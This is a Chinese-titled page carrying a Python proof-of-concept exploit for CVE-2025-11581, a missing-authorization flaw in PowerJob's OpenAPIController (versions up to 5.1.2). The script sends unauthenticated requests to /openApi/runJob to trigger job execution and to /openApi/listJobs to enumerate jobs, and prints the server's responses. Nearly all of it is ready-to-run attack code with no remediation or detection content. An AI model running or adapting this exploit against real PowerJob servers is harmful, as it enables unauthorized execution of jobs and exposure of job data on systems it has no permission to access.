CVE-2025-11581：PowerJob OpenAPIController 缺少授权漏洞

# CVE-2025-11581 PoC - PowerJob OpenAPIController Missing Authorization # Target: PowerJob <= 5.1.2 # Endpoint: /openApi/runJob import requests # Target PowerJob server URL TARGET_URL = "http://target-powerjob-server:7700" # Step 1: Trigger job execution via unauthorized API call # The /openApi/runJob endpoint lacks authentication validation def exploit_run_job(app_id, job_params=None): """ Exploit missing authorization in PowerJob OpenAPIController. No authentication credentials required. """ endpoint = f"{TARGET_URL}/openApi/runJob" # Payload to trigger job execution payload = { "appId": app_id, # Target application ID in PowerJob "jobId": None, # Optional: specific job ID "params": job_params or {}, # Job parameters "delay": 0 # Execution delay in seconds } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } # Send unauthorized request - no token or auth header needed response = requests.post( endpoint, json=payload, headers=headers, timeout=10 ) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text}") return response # Step 2: Enumerate available jobs via openApi def enumerate_jobs(app_id): """Enumerate available jobs through unauthorized API access.""" endpoint = f"{TARGET_URL}/openApi/listJobs" params = {"appId": app_id} response = requests.get(endpoint, params=params, timeout=10) print(f"[+] Available Jobs: {response.text}") return response # Main execution if __name__ == "__main__": # Replace with actual target app ID APP_ID = 1 print(f"[*] Targeting: {TARGET_URL}") print("[*] Exploiting CVE-2025-11581 - Missing Authorization\n") # Trigger unauthorized job execution exploit_run_job(APP_ID, job_params={"key": "value"})